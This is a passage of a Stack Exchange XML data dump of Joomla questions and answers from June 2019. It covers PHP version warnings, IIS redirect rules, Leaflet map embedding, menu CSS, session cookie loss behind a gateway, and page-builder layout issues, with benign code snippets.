unsure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does the fact that the site is installed on a subdomain make any difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site installed at &lt;code&gt;example.com&lt;/code&gt; and it's working fine, no PHP errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look at the &lt;code&gt;.htaccess&lt;/code&gt; on the subdomain and there's no mention of a PHP version, so it's not set manually.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-06-14T02:38:01.527" Title="Joomla Warning Showing Incorrect PHP Version" Tags="|joomla-3.x|php|installation|migration|error-handling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24821" PostTypeId="1" AcceptedAnswerId="24949" CreationDate="2019-06-13T19:02:30.323" Score="1" ViewCount="340" Body="&lt;p&gt;I've been trying for a few hours now to set up a non-www to www redirect on IIS 8.5 and am failing miserably. I am able to get the home page to force www but all other pages fail. I'm not really an IIS user so this is the first time I have had to do this. So far I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rule name=&quot;Redirect domain.com to www&quot; patternSyntax=&quot;Wildcard&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;match url=&quot;*&quot; /&amp;gt;&#xA;    &amp;lt;conditions&amp;gt;&#xA;        &amp;lt;add input=&quot;{HTTP_HOST}&quot; pattern=&quot;domain.co.uk$&quot; /&amp;gt;&#xA;    &amp;lt;/conditions&amp;gt;&#xA;    &amp;lt;action type=&quot;Redirect&quot; url=&quot;https://www.domain.co.uk/{R:0}&quot; /&amp;gt;&#xA;&amp;lt;/rule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried the below rule from &lt;a href=&quot;https://www.ostraining.com/blog/coding/non-www-to-www/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OStraining&lt;/a&gt; without any luck.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rule name=&quot;Redirect domain.com to www&quot; patternSyntax=&quot;Wildcard&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;match url=&quot;*&quot; /&amp;gt;&#xA;    &amp;lt;conditions&amp;gt;&#xA;        &amp;lt;add input=&quot;{HTTP_HOST}&quot; pattern=&quot;^domain.co.uk$&quot; /&amp;gt;&#xA;    &amp;lt;/conditions&amp;gt;&#xA;    &amp;lt;action type=&quot;Redirect&quot; url=&quot;https://www.domain.co.uk/{R:0}&quot; /&amp;gt;&#xA;&amp;lt;/rule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can any one assist or shed any light on this? &lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2019-06-13T22:46:04.390" LastActivityDate="2019-07-21T03:16:42.363" Title="Problem with IIS rewrite non-www to www and https" Tags="|redirect|iis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24822" PostTypeId="2" ParentId="24585" CreationDate="2019-06-13T19:03:31.737" Score="0" Body="&lt;p&gt;In the end I upgraded the page builder and created an Addon Override for the new Image Overlay addon. This then allowed me to do what I needed to do.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-06-13T19:03:31.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24823" PostTypeId="2" ParentId="24771" CreationDate="2019-06-13T19:04:50.210" Score="0" Body="&lt;p&gt;I gave up on this in the end and requested the client manually add the placeholder image when creating the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your contributions.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-06-13T19:04:50.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24824" PostTypeId="2" ParentId="24820" CreationDate="2019-06-14T02:38:01.527" Score="1" Body="&lt;p&gt;Installing Joomla in a subdomain should make no difference as far as the PHP version is concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The likely explanation is that there is a directive in the &lt;code&gt;.htaccess&lt;/code&gt; file overriding the default PHP version but you have already checked this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fault find this issue, I recommend:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Creating a &lt;code&gt;phpinfo.php&lt;/code&gt; file in the root folder of the subdomain and browsing to the file to check what PHP version is reported. Your &lt;code&gt;phpinfo.php&lt;/code&gt; file should contain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&#xA;  phpinfo();&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to delete the file after use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Global Configuration, temporarily disable URL Rewriting and then temporarily rename your &lt;code&gt;.htaccess&lt;/code&gt; file to &lt;code&gt;htaccess.disabled&lt;/code&gt; or similar. If the warning message disappears, then you may need to take a closer look at the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-06-14T02:38:01.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24825" PostTypeId="1" CreationDate="2019-06-14T10:59:26.763" Score="2" ViewCount="423" Body="&lt;p&gt;I'm using Helix Ultimate alongside Joomla 3.9.6 with Sourcerer installed and want to embed a leafletjs-Map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to leaflet's documentation, I need to load their CSS as well as their JavaScript, which I did via the &quot;Custom Code&quot; tab inside the Helix Ultimate settings (of course in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;-section).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://unpkg.com/leaflet@1.5.1/dist/leaflet.css&quot;&#xA;           integrity=&quot;sha512-xwE/Az9zrjBIphAcBb3F6JVqxf46+CDLwfLMHloNu6KEQCAWi6HcDUbeOfBIptF7tcCzusKFjFw2yuvEpDL9wQ==&quot;&#xA;    crossorigin=&quot;&quot;/&amp;gt;&#xA;&#xA; &amp;lt;!-- Make sure you put this AFTER Leaflet's CSS --&amp;gt;&#xA; &amp;lt;script src=&quot;https://unpkg.com/leaflet@1.5.1/dist/leaflet.js&quot;&#xA;   integrity=&quot;sha512-GffPMF3RvMeYyc1LWMHtK8EbPv0iNZ8/oTtHPx9/cc2ILxQ+u905qIwdpULaqDkyBKgOaB57QTMg7ztg8Jm2Og==&quot;&#xA;   crossorigin=&quot;&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you shall specify at least the map height, I did this in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; aswell by using &lt;code&gt;&amp;lt;style&amp;gt; #map{ height: 100% }&amp;lt;/style&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then call a &lt;code&gt;&amp;lt;div id=&quot;map&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; inside the body and use a script to specify the map elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simplified plain html (which combines all of the above and will create a simple map like in &lt;a href=&quot;https://maptimeboston.github.io/leaflet-intro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this example&lt;/a&gt;) looks like this - and works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://unpkg.com/leaflet@1.5.1/dist/leaflet.css&quot;&#xA;   integrity=&quot;sha512-xwE/Az9zrjBIphAcBb3F6JVqxf46+CDLwfLMHloNu6KEQCAWi6HcDUbeOfBIptF7tcCzusKFjFw2yuvEpDL9wQ==&quot;&#xA;   crossorigin=&quot;&quot;/&amp;gt;&#xA; &amp;lt;!-- Make sure you put this AFTER Leaflet's CSS --&amp;gt;&#xA; &amp;lt;script src=&quot;https://unpkg.com/leaflet@1.5.1/dist/leaflet.js&quot;&#xA;   integrity=&quot;sha512-GffPMF3RvMeYyc1LWMHtK8EbPv0iNZ8/oTtHPx9/cc2ILxQ+u905qIwdpULaqDkyBKgOaB57QTMg7ztg8Jm2Og==&quot;&#xA;   crossorigin=&quot;&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;style&amp;gt; #map{ height: 100% }&amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;map&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;script&amp;gt; &#xA;    var map = L.map('map').setView([42.35, -71.08], 13); &#xA;    L.tileLayer('http://tiles.mapc.org/basemap/{z}/{x}/{y}.png', { attribution: 'Tiles by &amp;lt;a href=&quot;http://mapc.org&quot;&amp;gt;MAPC&amp;lt;/a&amp;gt;, Data by &amp;lt;a href=&quot;http://mass.gov/mgis&quot;&amp;gt;MassGIS&amp;lt;/a&amp;gt;', maxZoom: 17, minZoom: 9 }).addTo(map); &#xA;&amp;lt;/script&amp;gt; &#xA;&amp;lt;/body&amp;gt;     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I achieve this inside Joomla (which will just show nothing - while the elements seem to be in the right place if I take a look at the page's source code in my browser)?&lt;/p&gt;&#xA;" OwnerUserId="13595" LastActivityDate="2019-06-14T10:59:26.763" Title="Embed a leaflet map" Tags="|css|joomla-3.9|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24826" PostTypeId="2" ParentId="10162" CreationDate="2019-06-14T22:48:19.807" Score="1" Body="&lt;p&gt;I got the same issue. My problem was that &quot;Offline mode&quot; in Global Configuration was set to &quot;YES&quot;. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="13151" LastActivityDate="2019-06-14T22:48:19.807" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24827" PostTypeId="2" ParentId="444" CreationDate="2019-06-15T04:22:54.223" Score="2" Body="&lt;p&gt;The ‘Domain’ Attribute&#xA;• With domain set, cookies will be sent to that domain&#xA;and all its subdomains&#xA;• The risk with subdomains is lower than when scoped to&#xA;parent domain, but still relevant&#xA;• Remove domain attribute to limit cookie to origin host&#xA;only&#xA;– Important note: IE will always send to subdomains regardless&lt;/p&gt;&#xA;" OwnerUserId="13596" LastActivityDate="2019-06-15T04:22:54.223" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24828" PostTypeId="1" CreationDate="2019-06-15T11:43:43.627" Score="1" ViewCount="107" Body="&lt;p&gt;My bottom menu in the footer position has a greater than symbol (&gt;) or chevron that appears before every menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu appears at the footer of this website: &lt;a href=&quot;https://www.brettvachon.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.brettvachon.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to remove this symbol. I've tried navbar-collapse in the Menu Class Suffix as well as setting Start Level and End Level to 1 in the Menu Module options. This doesn't change anything though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove the &gt; symbol from the menu items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/POd5Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/POd5Q.png&quot; alt=&quot;footer image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13597" LastEditorUserId="13597" LastEditDate="2019-06-16T14:44:09.230" LastActivityDate="2024-03-04T01:04:25.533" Title="Menu has &gt; symbol" Tags="|joomla-3.x|bootstrap|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24829" PostTypeId="1" AcceptedAnswerId="24835" CreationDate="2019-06-15T12:14:17.157" Score="1" ViewCount="773" Body="&lt;p&gt;I'm currently trying to move a Joomla site to another host. For testing I created a duplicate of the site with a different domain (I don't know if this has anything to do with my problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't login anymore. The administrator login (/administrator) works fine, but I cannot login with the login form on the Joomla site itself. I enter my credentials correctly, but then Joomla redirects me back to the login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into the database into the session table, and there is an entry with my username. But also now there is another guest-entry, with the same &lt;code&gt;sessionId&lt;/code&gt; as the cookie in my browser now has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I check &quot;remember login&quot; in the login form, then I can login. But every time I load a page of my Joomla site, a new session is created in the database (because Joomla &quot;forgets&quot; my session every time and the &quot;remember me&quot; creates a new session for me every time, I think). And I then cannot logout anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea where the problem is, and what I can do? By the way I'm very new to Joomla (I have to maintain an existing site). We're using Joomla 3.7.3 and PHP 5.6.40 (I cannot update because of too much customisation from my predecessor, currently I'm creating a completely new website).&lt;/p&gt;&#xA;" OwnerUserId="13598" LastEditorUserId="12352" LastEditDate="2019-06-15T22:12:13.053" LastActivityDate="2019-06-16T12:26:18.783" Title="Joomla forgets session (cookie) straight after login" Tags="|login|joomla-3.7|session|authentication|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24830" PostTypeId="2" ParentId="7622" CreationDate="2019-06-15T12:27:08.930" Score="1" Body="&lt;p&gt;We have been using a similar workflow as described above by RCheesly. I'd highly recommend the Atlassian suite of products for project management.  This lets us tie commit messages to JIRA tickets to leave an audit trail in bitbucket.  We always create a feature branch i.e feature/joomla-update/JIRA-ticket-no, perform work on that branch and test before merging back to master and deploying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a new feature is not ready to go live we can merge it to a separate staging branch and deploy that to preview to the clients, allowing us to create clean branches from master for any features that must go live in the meantime.  The key to making this work is to ensure the team never commits directly to the master or staging branches and all work that is not yet ready remains on its own branch within the bitbucket repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do keep the entire installation in version control, we only ignore image folders and node_modules.  The reason for this is due to our deployment process, we use a hook on our aws production/staging servers that receives the master branch and deploys all file changes.  This lets us perform updates locally, test and then deploy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our local environment uses docker and &lt;a href=&quot;http://laradock.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Laradock&lt;/a&gt;, which I would highly recommend.  Although it is geared towards Laravel, it provides a great environment for any PHP based site and allows you to mimic your production environment so you can update with confidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest challenge to get around with this method was the database!  Initially, we would perform updates locally, push and then perform the same updates on our servers to ensure extension/core migrations were performed in all environments. This is far from ideal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We started using a CLI tool to perform these updates &lt;a href=&quot;https://github.com/stu-ad/joomla-update-helper&quot; rel=&quot;nofollow noreferrer&quot;&gt;CLI Helper&lt;/a&gt;, which makes the process a bit more reliable and greatly speeds it up.  This is better, but not perfect! I'd love to hear from anyone who has found a better database solution!&lt;/p&gt;&#xA;" OwnerUserId="13593" LastActivityDate="2019-06-15T12:27:08.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24831" PostTypeId="1" CreationDate="2019-06-15T13:04:22.580" Score="1" ViewCount="140" Body="&lt;p&gt;What is the proper way to call for the Content language field type. My below code works but I don't use the content language field type. I am building a drop down from all available languages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$languages = JLanguageHelper::getLanguages();&#xA;if ($row-&amp;gt;contentlanguage == null)&#xA;{&#xA;    $lang = JFactory::getLanguage();&#xA;    $selectedlanguage = $lang-&amp;gt;getTag();&#xA;}&#xA;else&#xA;{&#xA;    $selectedlanguage = $row-&amp;gt;contentlanguage;&#xA;}&#xA;$DropdownCode = mosHTML::selectList( $languages, 'contentlanguage', 'class=&quot;text_area&quot; size=&quot;1&quot;', 'lang_code', 'title', $selectedlanguage );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla Field Type link: &lt;a href=&quot;https://docs.joomla.org/ContentLanguage_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/ContentLanguage_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some Context&lt;br&gt;&#xA;I have a form in a component where I want the user to select one of the Joomla installed content languages. The component base code that I am changing was not written with the XML field definitions style. And all the examples on the internet is for the XML field definitions style. Joomla has lots of field types for forms, but its always a problem getting the code not the xml for getting the Joomla field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below example will generate the HTML for the date time field type of Joomla. With this question I want the same type of code for the Content Language Field type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $attribs['todayBtn'] = 1;&#xA;    $attribs['weekNumbers'] = 0;&#xA;    $attribs['showTime'] = 1;&#xA;    $attribs['class'] = 'inputdatetimesize';      &#xA;    return JHTML::_('calendar',$this-&amp;gt;value, $this-&amp;gt;name, $this-&amp;gt;name, $this-&amp;gt;format, $attribs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11554" LastEditorUserId="11554" LastEditDate="2019-06-18T13:36:06.857" LastActivityDate="2024-03-30T16:05:20.643" Title="Code for the Content Language Field type" Tags="|joomla-3.x|language|form-fields-types|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24832" PostTypeId="2" ParentId="24803" CreationDate="2019-06-15T17:05:04.300" Score="0" Body="&lt;p&gt;There seems to be a Joomla bug: The filter field group must not be the first item in the request fieldset. As a workaround, I added a hidden field before the filter group like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- Needed because of Joomla bug: filter fields group cannot be first in the fieldset --&amp;gt;&#xA;        &amp;lt;field name=&quot;xxx&quot; type=&quot;hidden&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;fields name=&quot;filter&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;employer&quot;&#xA;              type=&quot;text&quot; &#xA;              hint=&quot;COM_JOBS_FILTER_EMPLOYER_HINT&quot;&#xA;              label=&quot;COM_JOBS_JOBS_EMPLOYER&quot;&#xA;              class=&quot;js-stools-search-string&quot; /&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will report this as a bug.&lt;/p&gt;&#xA;" OwnerUserId="13584" LastActivityDate="2019-06-15T17:05:04.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24833" PostTypeId="2" ParentId="24829" CreationDate="2019-06-15T20:51:54.970" Score="0" Body="&lt;p&gt;Two suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Move the site to the other host using Akeeba Backup, which is easier and you are less likely to make errors during the process.&#xA;&lt;a href=&quot;https://www.akeebabackup.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Use PHP 7.2.x. Even that Joomla mention PHP 5 as minimum, PHP 7 is recommended and yes you need to update your site to the latest Joomla 3 version. Normally the customisations that you mention should not be a problem as soon as he/she has not touched core Joomla files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="13151" LastActivityDate="2019-06-15T20:51:54.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24834" PostTypeId="2" ParentId="24829" CreationDate="2019-06-16T08:52:08.663" Score="0" Body="&lt;p&gt;Under the Global Configuration settings menu item and the Site tab is there a value in the 'Cookie Settings' or 'Cookie Path' and if so do they reflect the domain of where you have copied the Joomla site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both fields can be blank and I think this is the recommendation these days.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-06-16T08:52:08.663" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24835" PostTypeId="2" ParentId="24829" CreationDate="2019-06-16T12:26:18.783" Score="2" Body="&lt;p&gt;I fixed the problem myself. Unfortunately, it was even my own mistake, you couldn't have come up with the solution.&#xA;I don't access the Joomla site directly but there is an HTTP gateway before it. The problem was that Joomla sends two &quot;Set-Cookie&quot; headers in the Login-Response, but my gateway merged them and only sent the second one back to the browser. After I changed the code so it can handle multiple http headers with the same key, the login works fine.&lt;/p&gt;&#xA;" OwnerUserId="13598" LastActivityDate="2019-06-16T12:26:18.783" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24836" PostTypeId="1" CreationDate="2019-06-16T13:05:14.710" Score="0" ViewCount="49" Body="&lt;p&gt;Unable to adjust main page header length of the  Joomla karoltheme template(v 3.9.1). Tried changing the template.jss but failed. Great to know the correct way of adjusting the main page header length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the current and expected format. As you can see in &quot;As-is&quot; Downloads menu is appearing in the bottom which suppose to be next to &quot;Contact us&quot; in same line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zabxv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zabxv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tR7h9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tR7h9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;template.css&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4MOyx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4MOyx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13599" LastEditorUserId="13599" LastEditDate="2019-06-18T12:30:20.697" LastActivityDate="2019-06-18T12:30:20.697" Title="Joomla main page header length maxmizing" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24837" PostTypeId="2" ParentId="24828" CreationDate="2019-06-16T23:13:13.820" Score="0" Body="&lt;p&gt;&lt;strong&gt;templates/masterbootstrap/css/template.min.css&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;line 108&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.module-content ul li::before { &#xA;content:&quot;\e080&quot;;&#xA;font-family:glyphicons halflings &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;content:&quot;\e080&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2019-06-16T23:59:09.370" LastActivityDate="2019-06-16T23:59:09.370" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24838" PostTypeId="1" CreationDate="2019-06-17T20:49:52.020" Score="0" ViewCount="83" Body="&lt;p&gt;I am using Joomla! 3.7.5 and JA Builder. I'm trying to create a block with custom module. Once I create it, paste code and assign position, then in page editor add block with widget - position and publish it - all is looking good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue comes when I go again into editing mode - all I see are the images used in the module filling the whole page and nothing else.  I click publish (hoping all will return to its rightful place, but alas I see that the whole page is messed up: header and footer, all content misaligned, and some of the images got big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to solve it. I tried a lot of stuff with no good result yet. Please advise if anyone has faced a similar occurrence.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Providing code and screenshot here &#xA;&lt;a href=&quot;https://i.stack.imgur.com/93xat.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/93xat.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;  &amp;lt;style&amp;gt;&#xA;    #qbox-sensors {&#xA;      display: flex;&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    #qbox-sensors .qbox-sensors-container {&#xA;      position: relative;&#xA;      margin: 0 auto;&#xA;      width: 700px;&#xA;      height: 305.48px;&#xA;    }&#xA;&#xA;    #qbox-sensors .qbox-sensors-container .qbox-sensors-img {&#xA;      position: absolute;&#xA;      width: 100%;&#xA;      opacity: 0;&#xA;      left: 0;&#xA;    }&#xA;&#xA;    #qbox-sensors .qbox-sensors-container .qbox-sensors-img.active {&#xA;      opacity: 1;&#xA;    }&#xA;&#xA;    #qbox-sensors .descriptions {&#xA;      display: flex;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    #qbox-sensors .descriptions .description {&#xA;      width: calc(100% / 3);&#xA;      text-align: center;&#xA;      padding: 0 10px;&#xA;    }&#xA;&#xA;    #qbox-sensors .descriptions .description .icon {&#xA;      margin-bottom: 15px;&#xA;    }&#xA;&#xA;    #qbox-sensors .descriptions .description .icon svg {&#xA;      height: 30px;&#xA;    }&#xA;  &amp;lt;/style&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;qbox-sensors&quot;&amp;gt;&#xA;    &amp;lt;div style=&quot;margin-bottom: 84px&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;qbox-sensors-container&quot;&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;          let qboxes = [&#xA;            { id: 'qbox', img: 'https://quicklert.com/images/Qbox_page/qbox.png' },&#xA;            { id: 'qbox-lights', description: 'Integrated strobe + pathway lights', img: 'https://quicklert.com/images/Qbox_page/qbox-lights.png', icon: `&amp;lt;svg viewBox=&quot;0 0 30 30&quot;&amp;gt;&#xA;                  &amp;lt;g id=&quot;s-Emergency_Light&quot; data-name=&quot;s-Emergency Light&quot; transform=&quot;translate(-2076 -631)&quot;&amp;gt;&#xA;                    &amp;lt;g id=&quot;s_EmergencyLight&quot; transform=&quot;translate(2076 631)&quot;&amp;gt;&#xA;                      &amp;lt;path id=&quot;Path_381&quot; data-name=&quot;Path 381&quot; d=&quot;M39.012,36.262a7.374,7.374,0,0,0-14.749,0v8.765H20.4v6.763H42.88V45.026H39.012Zm-12.874,0a5.5,5.5,0,0,1,11,0v8.522h-11ZM41,49.924H22.27V46.892H41Z&quot; transform=&quot;translate(-16.505 -21.789)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                      &amp;lt;path id=&quot;Path_382&quot; data-name=&quot;Path 382&quot; d=&quot;M48.813,14.324a.935.935,0,0,0,.938-.933V10.733a.938.938,0,0,0-1.875,0v2.659A.935.935,0,0,0,48.813,14.324Z&quot; transform=&quot;translate(-33.68 -9.8)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                      &amp;lt;path id=&quot;Path_383&quot; data-name=&quot;Path 383&quot; d=&quot;M71.273,22.634a.938.938,0,0,0,.663-.273l1.889-1.88a.93.93,0,0,0,0-1.319.941.941,0,0,0-1.326,0l-1.889,1.88a.933.933,0,0,0,.663,1.593Z&quot; transform=&quot;translate(-47.717 -15.497)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                      &amp;lt;path id=&quot;Path_384&quot; data-name=&quot;Path 384&quot; d=&quot;M81.463,40.259H78.791a.933.933,0,1,0,0,1.866h2.672a.933.933,0,1,0,0-1.866Z&quot; transform=&quot;translate(-52.417 -28.894)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                      &amp;lt;path id=&quot;Path_385&quot; data-name=&quot;Path 385&quot; d=&quot;M14.568,41.192a.935.935,0,0,0-.938-.933H10.959a.933.933,0,1,0,0,1.866H13.63A.935.935,0,0,0,14.568,41.192Z&quot; transform=&quot;translate(-10.021 -28.894)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                      &amp;lt;path id=&quot;Path_386&quot; data-name=&quot;Path 386&quot; d=&quot;M23.749,22.36a.935.935,0,0,0,1.326-1.319l-1.889-1.88a.941.941,0,0,0-1.326,0,.93.93,0,0,0,0,1.319Z&quot; transform=&quot;translate(-17.248 -15.497)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                    &amp;lt;/g&amp;gt;&#xA;                    &amp;lt;rect id=&quot;Rectangle_249&quot; data-name=&quot;Rectangle 249&quot; width=&quot;30&quot; height=&quot;29.6&quot; transform=&quot;translate(2076 631)&quot; fill=&quot;none&quot;/&amp;gt;&#xA;                    &amp;lt;rect 